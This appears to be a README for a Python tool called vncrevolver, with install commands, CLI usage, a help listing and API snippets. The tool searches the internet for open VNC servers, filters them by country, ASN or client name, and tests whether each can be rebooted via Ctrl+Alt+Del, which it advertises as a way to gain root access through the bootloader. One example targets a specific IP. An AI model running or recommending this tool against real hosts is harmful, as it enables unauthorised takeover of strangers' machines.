pip install pydantic
pip install asyncvnc
pip install aiohttp
git clone https://github.com/cristiancmoises/vncrevolver
cd vncrevolver
Some Features |
---|
🌎 Search for many open Vnc Servers around the world |
📍 Filter by country |
🔢 List more than one |
🖥️ List by Client name |
✅ Checks them for vulnerabilities by rebooting the machine via Ctrl+ALT+DEL, obtaining root access through the operating system bootloader easyly. |
python -m vncrevolver
python -m vncrevolver --clientname ubuntu --count 10
python -m vncrevolver --clientname ubuntu --count 10 --check_crt_alt_del
python -m vncrevolver --check_crt_alt_del 123.12.1.23:5901
$ python -m vncrevolver --help
usage: vncrevolver [-h] [--clientname CLIENTNAME] [--country COUNTRY] [--asn ASN] [--count COUNT] [--check_crt_alt_del [CHECK_CRT_ALT_DEL]] [--show_failed] [--screen_delay SCREEN_DELAY]
optional arguments:
-h, --help show this help message and exit
--clientname CLIENTNAME
Filter by client name, note that it is case-sensitive!
--country COUNTRY Filter by ISO 3166-1 alpha-2 country code
--asn ASN Filter by ASN
--count COUNT Number of VNCs to find
--check_crt_alt_del [CHECK_CRT_ALT_DEL]
If you specify this parameter without a value, only those VNCs from the search that pass the ctrl_alt_del check will be returned. If a value is passed, it must be a VNC
address that will be checked against ctrl_alt_del.
--show_failed Return VNCs that failed the ctrl_alt_del check
--screen_delay SCREEN_DELAY
Delay between taking two screenshots in milliseconds
from typing import List
from vncrevolver.search import VNC, search_filter
hosts: List[VNC] = await search_filter(clientname='ubuntu')
for vnc in hosts:
print(vnc.ip, vnc,port)
from vncrevolver.search import VNC, search_random
vnc: VNC = await search_random()
print(vnc.ip, vnc.port)
from vncrevolver.search import VNC, search_random
from vncrevolver.vnc import check_crt_alt_del
vnc: VNC = await search_random()
print(await check_crt_alt_del(vnc.ip, vnc.port))